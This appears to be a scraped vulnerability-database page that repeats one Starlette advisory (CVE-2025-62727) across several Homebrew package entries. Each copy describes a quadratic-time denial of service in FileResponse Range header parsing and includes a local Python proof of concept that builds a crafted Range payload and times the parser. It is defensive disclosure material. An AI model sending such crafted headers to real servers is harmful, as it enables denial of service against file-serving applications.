"name": "starlette",
"resource": "starlette",
"strategy": "registry",
"subject_version": "1.6.0"
}
]
},
"details": "### Summary\nAn unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette\u0027s `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial\u2011of\u2011service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`).\n\n### Details\nStarlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm.\n\n```python\n# starlette/responses.py\n_RANGE_PATTERN = re.compile(r\"(\\d*)-(\\d*)\") # vulnerable to O(n^2) complexity ReDoS\n\nclass FileResponse(Response):\n @staticmethod\n def _parse_range_header(http_range: str, file_size: int) -\u003e list[tuple[int, int]]:\n ranges: list[tuple[int, int]] = []\n try:\n units, range_ = http_range.split(\"=\", 1)\n except ValueError:\n raise MalformedRangeHeader()\n\n # [...]\n\n ranges = [\n (\n int(_[0]) if _[0] else file_size - int(_[1]),\n int(_[1]) + 1 if _[0] and _[1] and int(_[1]) \u003c file_size else file_size,\n )\n for _ in _RANGE_PATTERN.findall(range_) # vulnerable\n if _ != (\"\", \"\")\n ]\n\n```\n\nThe parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity.\n\nThe merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.\n\n This affects any Starlette application that uses:\n\n - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) \u2014 `starlette/staticfiles.py:178`\n - Direct ``starlette.responses.FileResponse`` responses\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport sys\nimport time\n\ntry:\n import starlette\n from starlette.responses import FileResponse\nexcept Exception as e:\n print(f\"[ERROR] Failed to import starlette: {e}\")\n sys.exit(1)\n\n\ndef build_payload(length: int) -\u003e str:\n \"\"\"Build the Range header value body: \u00270\u0027 * num_zeros + \u00270-\u0027\"\"\"\n return (\"0\" * length) + \"a-\"\n\n\ndef test(header: str, file_size: int) -\u003e float:\n start = time.perf_counter()\n try:\n FileResponse._parse_range_header(header, file_size)\n except Exception:\n pass\n end = time.perf_counter()\n elapsed = end - start\n return elapsed\n\n\ndef run_once(num_zeros: int) -\u003e None:\n range_body = build_payload(num_zeros)\n header = \"bytes=\" + range_body\n # Use a sufficiently large file_size so upper bounds default to file size\n file_size = max(len(range_body) + 10, 1_000_000)\n \n print(f\"[DEBUG] range_body length: {len(range_body)} bytes\")\n elapsed_time = test(header, file_size)\n print(f\"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\\n\")\n\n\nif __name__ == \"__main__\":\n print(f\"[INFO] Starlette Version: {starlette.__version__}\")\n for n in [5000, 10000, 20000, 40000]:\n run_once(n)\n\n\"\"\"\n$ python3 poc_dos_range.py\n[INFO] Starlette Version: 0.48.0\n[DEBUG] range_body length: 5002 bytes\n[DEBUG] elapsed time: 0.053932 seconds\n\n[DEBUG] range_body length: 10002 bytes\n[DEBUG] elapsed time: 0.209770 seconds\n\n[DEBUG] range_body length: 20002 bytes\n[DEBUG] elapsed time: 0.885296 seconds\n\n[DEBUG] range_body length: 40002 bytes\n[DEBUG] elapsed time: 3.238832 seconds\n\"\"\"\n```\n\n### Impact\nAny Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.",
"id": "BREW-schemathesis-CVE-2025-62727",
"modified": "2026-09-22T00:00:18Z",
"published": "2026-08-13T17:34:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62727"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/commit/4ea6e22b489ec388d6004cfbca52dd5b147127c5"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/commit/69ed26a85956ef4bd0161807eb27abf49be7cd3c"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kludex/starlette"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/releases/tag/0.49.1"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``",
"upstream": [
"GHSA-7f5h-v6xp-fcq8",
"CVE-2025-62727",
"PYSEC-2026-1942"
]
}
BREW-SEMGREP-CVE-2025-62727 (GHSA-7F5H-V6XP-FCQ8)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:34 – Updated: 2026-09-17 18:23 – Source websiteSummary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details
Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.
# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response):
@staticmethod
def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range_ = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()
# [...]
ranges = [
(
int(_[0]) if _[0] else file_size - int(_[1]),
int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
)
for _ in _RANGE_PATTERN.findall(range_) # vulnerable
if _ != ("", "")
]
The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
starlette.staticfiles.StaticFiles(internally returnsFileResponse) —starlette/staticfiles.py:178- Direct
starlette.responses.FileResponseresponses
PoC
#!/usr/bin/env python3
import sys
import time
try:
import starlette
from starlette.responses import FileResponse
except Exception as e:
print(f"[ERROR] Failed to import starlette: {e}")
sys.exit(1)
def build_payload(length: int) -> str:
"""Build the Range header value body: '0' * num_zeros + '0-'"""
return ("0" * length) + "a-"
def test(header: str, file_size: int) -> float:
start = time.perf_counter()
try:
FileResponse._parse_range_header(header, file_size)
except Exception:
pass
end = time.perf_counter()
elapsed = end - start
return elapsed
def run_once(num_zeros: int) -> None:
range_body = build_payload(num_zeros)
header = "bytes=" + range_body
# Use a sufficiently large file_size so upper bounds default to file size
file_size = max(len(range_body) + 10, 1_000_000)
print(f"[DEBUG] range_body length: {len(range_body)} bytes")
elapsed_time = test(header, file_size)
print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")
if __name__ == "__main__":
print(f"[INFO] Starlette Version: {starlette.__version__}")
for n in [5000, 10000, 20000, 40000]:
run_once(n)
"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds
[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds
[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds
[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "starlette",
"resource_purl": "pkg:pypi/starlette@1.6.0",
"upstream_fixed_in": "0.49.1"
},
"package": {
"ecosystem": "Homebrew",
"name": "semgrep",
"purl": "pkg:brew/semgrep"
},
"ranges": [
{
"events": [
{
"introduced": "1.137.0"
},
{
"fixed": "1.141.0_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/starlette@1.6.0",
"name": "starlette",
"resource": "starlette",
"strategy": "registry",
"subject_version": "1.6.0"
}
]
},
"details": "### Summary\nAn unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette\u0027s `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial\u2011of\u2011service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`).\n\n### Details\nStarlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm.\n\n```python\n# starlette/responses.py\n_RANGE_PATTERN = re.compile(r\"(\\d*)-(\\d*)\") # vulnerable to O(n^2) complexity ReDoS\n\nclass FileResponse(Response):\n @staticmethod\n def _parse_range_header(http_range: str, file_size: int) -\u003e list[tuple[int, int]]:\n ranges: list[tuple[int, int]] = []\n try:\n units, range_ = http_range.split(\"=\", 1)\n except ValueError:\n raise MalformedRangeHeader()\n\n # [...]\n\n ranges = [\n (\n int(_[0]) if _[0] else file_size - int(_[1]),\n int(_[1]) + 1 if _[0] and _[1] and int(_[1]) \u003c file_size else file_size,\n )\n for _ in _RANGE_PATTERN.findall(range_) # vulnerable\n if _ != (\"\", \"\")\n ]\n\n```\n\nThe parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity.\n\nThe merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.\n\n This affects any Starlette application that uses:\n\n - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) \u2014 `starlette/staticfiles.py:178`\n - Direct ``starlette.responses.FileResponse`` responses\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport sys\nimport time\n\ntry:\n import starlette\n from starlette.responses import FileResponse\nexcept Exception as e:\n print(f\"[ERROR] Failed to import starlette: {e}\")\n sys.exit(1)\n\n\ndef build_payload(length: int) -\u003e str:\n \"\"\"Build the Range header value body: \u00270\u0027 * num_zeros + \u00270-\u0027\"\"\"\n return (\"0\" * length) + \"a-\"\n\n\ndef test(header: str, file_size: int) -\u003e float:\n start = time.perf_counter()\n try:\n FileResponse._parse_range_header(header, file_size)\n except Exception:\n pass\n end = time.perf_counter()\n elapsed = end - start\n return elapsed\n\n\ndef run_once(num_zeros: int) -\u003e None:\n range_body = build_payload(num_zeros)\n header = \"bytes=\" + range_body\n # Use a sufficiently large file_size so upper bounds default to file size\n file_size = max(len(range_body) + 10, 1_000_000)\n \n print(f\"[DEBUG] range_body length: {len(range_body)} bytes\")\n elapsed_time = test(header, file_size)\n print(f\"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\\n\")\n\n\nif __name__ == \"__main__\":\n print(f\"[INFO] Starlette Version: {starlette.__version__}\")\n for n in [5000, 10000, 20000, 40000]:\n run_once(n)\n\n\"\"\"\n$ python3 poc_dos_range.py\n[INFO] Starlette Version: 0.48.0\n[DEBUG] range_body length: 5002 bytes\n[DEBUG] elapsed time: 0.053932 seconds\n\n[DEBUG] range_body length: 10002 bytes\n[DEBUG] elapsed time: 0.209770 seconds\n\n[DEBUG] range_body length: 20002 bytes\n[DEBUG] elapsed time: 0.885296 seconds\n\n[DEBUG] range_body length: 40002 bytes\n[DEBUG] elapsed time: 3.238832 seconds\n\"\"\"\n```\n\n### Impact\nAny Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.",
"id": "BREW-semgrep-CVE-2025-62727",
"modified": "2026-09-17T18:23:29Z",
"published": "2026-08-13T17:34:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62727"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/commit/4ea6e22b489ec388d6004cfbca52dd5b147127c5"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/commit/69ed26a85956ef4bd0161807eb27abf49be7cd3c"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kludex/starlette"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/releases/tag/0.49.1"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``",
"upstream": [
"GHSA-7f5h-v6xp-fcq8",
"CVE-2025-62727",
"PYSEC-2026-1942"
]
}
BREW-SNYK-AGENT-SCAN-CVE… (GHSA-7F5H-V6XP-FCQ8)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:35 – Updated: 2026-09-10 01:16 – Source websiteSummary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details
Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.
# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response):
@staticmethod
def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range_ = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()
# [...]
ranges = [
(
int(_[0]) if _[0] else file_size - int(_[1]),
int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
)
for _ in _RANGE_PATTERN.findall(range_) # vulnerable
if _ != ("", "")
]
The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
starlette.staticfiles.StaticFiles(internally returnsFileResponse) —starlette/staticfiles.py:178- Direct
starlette.responses.FileResponseresponses
PoC
#!/usr/bin/env python3
import sys
import time
try:
import starlette
from starlette.responses import FileResponse
except Exception as e:
print(f"[ERROR] Failed to import starlette: {e}")
sys.exit(1)
def build_payload(length: int) -> str:
"""Build the Range header value body: '0' * num_zeros + '0-'"""
return ("0" * length) + "a-"
def test(header: str, file_size: int) -> float:
start = time.perf_counter()
try:
FileResponse._parse_range_header(header, file_size)
except Exception:
pass
end = time.perf_counter()
elapsed = end - start
return elapsed
def run_once(num_zeros: int) -> None:
range_body = build_payload(num_zeros)
header = "bytes=" + range_body
# Use a sufficiently large file_size so upper bounds default to file size
file_size = max(len(range_body) + 10, 1_000_000)
print(f"[DEBUG] range_body length: {len(range_body)} bytes")
elapsed_time = test(header, file_size)
print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")
if __name__ == "__main__":
print(f"[INFO] Starlette Version: {starlette.__version__}")
for n in [5000, 10000, 20000, 40000]:
run_once(n)
"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds
[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds
[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds
[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "starlette",
"resource_purl": "pkg:pypi/starlette@1.6.0",
"upstream_fixed_in": "0.49.1"
},
"package": {
"ecosystem": "Homebrew",
"name": "snyk-agent-scan",
"purl": "pkg:brew/snyk-agent-scan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/starlette@1.6.0",
"name": "starlette",
"resource": "starlette",
"strategy": "registry",
"subject_version": "1.6.0"
}
]
},
"details": "### Summary\nAn unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette\u0027s `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial\u2011of\u2011service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`).\n\n### Details\nStarlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm.\n\n```python\n# starlette/responses.py\n_RANGE_PATTERN = re.compile(r\"(\\d*)-(\\d*)\") # vulnerable to O(n^2) complexity ReDoS\n\nclass FileResponse(Response):\n @staticmethod\n def _parse_range_header(http_range: str, file_size: int) -\u003e list[tuple[int, int]]:\n ranges: list[tuple[int, int]] = []\n try:\n units, range_ = http_range.split(\"=\", 1)\n except ValueError:\n raise MalformedRangeHeader()\n\n # [...]\n\n ranges = [\n (\n int(_[0]) if _[0] else file_size - int(_[1]),\n int(_[1]) + 1 if _[0] and _[1] and int(_[1]) \u003c file_size else file_size,\n )\n for _ in _RANGE_PATTERN.findall(range_) # vulnerable\n if _ != (\"\", \"\")\n ]\n\n```\n\nThe parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity.\n\nThe merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.\n\n This affects any Starlette application that uses:\n\n - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) \u2014 `starlette/staticfiles.py:178`\n - Direct ``starlette.responses.FileResponse`` responses\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport sys\nimport time\n\ntry:\n import starlette\n from starlette.responses import FileResponse\nexcept Exception as e:\n print(f\"[ERROR] Failed to import starlette: {e}\")\n sys.exit(1)\n\n\ndef build_payload(length: int) -\u003e str:\n \"\"\"Build the Range header value body: \u00270\u0027 * num_zeros + \u00270-\u0027\"\"\"\n return (\"0\" * length) + \"a-\"\n\n\ndef test(header: str, file_size: int) -\u003e float:\n start = time.perf_counter()\n try:\n FileResponse._parse_range_header(header, file_size)\n except Exception:\n pass\n end = time.perf_counter()\n elapsed = end - start\n return elapsed\n\n\ndef run_once(num_zeros: int) -\u003e None:\n range_body = build_payload(num_zeros)\n header = \"bytes=\" + range_body\n # Use a sufficiently large file_size so upper bounds default to file size\n file_size = max(len(range_body) + 10, 1_000_000)\n \n print(f\"[DEBUG] range_body length: {len(range_body)} bytes\")\n elapsed_time = test(header, file_size)\n print(f\"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\\n\")\n\n\nif __name__ == \"__main__\":\n print(f\"[INFO] Starlette Version: {starlette.__version__}\")\n for n in [5000, 10000, 20000, 40000]:\n run_once(n)\n\n\"\"\"\n$ python3 poc_dos_range.py\n[INFO] Starlette Version: 0.48.0\n[DEBUG] range_body length: 5002 bytes\n[DEBUG] elapsed time: 0.053932 seconds\n\n[DEBUG] range_body length: 10002 bytes\n[DEBUG] elapsed time: 0.209770 seconds\n\n[DEBUG] range_body length: 20002 bytes\n[DEBUG] elapsed time: 0.885296 seconds\n\n[DEBUG] range_body length: 40002 bytes\n[DEBUG] elapsed time: 3.238832 seconds\n\"\"\"\n```\n\n### Impact\nAny Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.",
"id": "BREW-snyk-agent-scan-CVE-2025-62727",
"modified": "2026-09-10T01:16:38Z",
"published": "2026-08-13T17:35:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62727"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/commit/4ea6e22b489ec388d6004cfbca52dd5b147127c5"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/commit/69ed26a85956ef4bd0161807eb27abf49be7cd3c"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kludex/starlette"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/releases/tag/0.49.1"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``",
"upstream": [
"GHSA-7f5h-v6xp-fcq8",
"CVE-2025-62727",
"PYSEC-2026-1942"
]
}
BREW-STRANDS-AGENTS-SOPS… (GHSA-7F5H-V6XP-FCQ8)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:41 – Updated: 2026-09-10 21:05 – Source websiteSummary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details
Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.
# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response):
@staticmethod
def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range_ = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()
# [...]
ranges = [
(
int(_[0]) if _[0] else file_size - int(_[1]),
int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
)
for _ in _RANGE_PATTERN.findall(range_) # vulnerable
if _ != ("", "")
]
The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
starlette.staticfiles.StaticFiles(internally returnsFileResponse) —starlette/staticfiles.py:178- Direct
starlette.responses.FileResponseresponses
PoC
#!/usr/bin/env python3
import sys
import time
try:
import starlette
from starlette.responses import FileResponse
except Exception as e:
print(f"[ERROR] Failed to import starlette: {e}")
sys.exit(1)
def build_payload(length: int) -> str:
"""Build the Range header value body: '0' * num_zeros + '0-'"""
return ("0" * length) + "a-"
def test(header: str, file_size: int) -> float:
start = time.perf_counter()
try:
FileResponse._parse_range_header(header, file_size)
except Exception:
pass
end = time.perf_counter()
elapsed = end - start
return elapsed
def run_once(num_zeros: int) -> None:
range_body = build_payload(num_zeros)
header = "bytes=" + range_body
# Use a sufficiently large file_size so upper bounds default to file size
file_size = max(len(range_body) + 10, 1_000_000)
print(f"[DEBUG] range_body length: {len(range_body)} bytes")
elapsed_time = test(header, file_size)
print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")
if __name__ == "__main__":
print(f"[INFO] Starlette Version: {starlette.__version__}")
for n in [5000, 10000, 20000, 40000]:
run_once(n)
"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds
[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds
[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds
[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "starlette",
"resource_purl": "pkg:pypi/starlette@1.6.0",
"upstream_fixed_in": "0.49.1"
},
"package": {
"ecosystem": "Homebrew",
"name": "strands-agents-sops",
"purl": "pkg:brew/strands-agents-sops"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/starlette@1.6.0",
"name": "starlette",
"resource": "starlette",
"strategy": "registry",
"subject_version": "1.6.0"
}
]
},
"details": "### Summary\nAn unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette\u0027s `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial\u2011of\u2011service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`).\n\n### Details\nStarlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm.\n\n```python\n# starlette/responses.py\n_RANGE_PATTERN = re.compile(r\"(\\d*)-(\\d*)\") # vulnerable to O(n^2) complexity ReDoS\n\nclass FileResponse(Response):\n @staticmethod\n def _parse_range_header(http_range: str, file_size: int) -\u003e list[tuple[int, int]]:\n ranges: list[tuple[int, int]] = []\n try:\n units, range_ = http_range.split(\"=\", 1)\n except ValueError:\n raise MalformedRangeHeader()\n\n # [...]\n\n ranges = [\n (\n int(_[0]) if _[0] else file_size - int(_[1]),\n int(_[1]) + 1 if _[0] and _[1] and int(_[1]) \u003c file_size else file_size,\n )\n for _ in _RANGE_PATTERN.findall(range_) # vulnerable\n if _ != (\"\", \"\")\n ]\n\n```\n\nThe parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity.\n\nThe merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.\n\n This affects any Starlette application that uses:\n\n - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) \u2014 `starlette/staticfiles.py:178`\n - Direct ``starlette.responses.FileResponse`` responses\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport sys\nimport time\n\ntry:\n import starlette\n from starlette.responses import FileResponse\nexcept Exception as e:\n print(f\"[ERROR] Failed to import starlette: {e}\")\n sys.exit(1)\n\n\ndef build_payload(length: int) -\u003e str:\n \"\"\"Build the Range header value body: \u00270\u0027 * num_zeros + \u00270-\u0027\"\"\"\n return (\"0\" * length) + \"a-\"\n\n\ndef test(header: str, file_size: int) -\u003e float:\n start = time.perf_counter()\n try:\n FileResponse._parse_range_header(header, file_size)\n except Exception:\n pass\n end = time.perf_counter()\n elapsed = end - start\n return elapsed\n\n\ndef run_once(num_zeros: int) -\u003e None:\n range_body = build_payload(num_zeros)\n header = \"bytes=\" + range_body\n # Use a sufficiently large file_size so upper bounds default to file size\n file_size = max(len(range_body) + 10, 1_000_000)\n \n print(f\"[DEBUG] range_body length: {len(range_body)} bytes\")\n elapsed_time = test(header, file_size)\n print(f\"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\\n\")\n\n\nif __name__ == \"__main__\":\n print(f\"[INFO] Starlette Version: {starlette.__version__}\")\n for n in [5000, 10000, 20000, 40000]:\n run_once(n)\n\n\"\"\"\n$ python3 poc_dos_range.py\n[INFO] Starlette Version: 0.48.0\n[DEBUG] range_body length: 5002 bytes\n[DEBUG] elapsed time: 0.053932 seconds\n\n[DEBUG] range_body length: 10002 bytes\n[DEBUG] elapsed time: 0.209770 seconds\n\n[DEBUG] range_body length: 20002 bytes\n[DEBUG] elapsed time: 0.885296 seconds\n\n[DEBUG] range_body length: 40002 bytes\n[DEBUG] elapsed time: 3.238832 seconds\n\"\"\"\n```\n\n### Impact\nAny Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.",
"id": "BREW-strands-agents-sops-CVE-2025-62727",
"modified": "2026-09-10T21:05:20Z",
"published": "2026-08-13T17:41:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8"
},
{
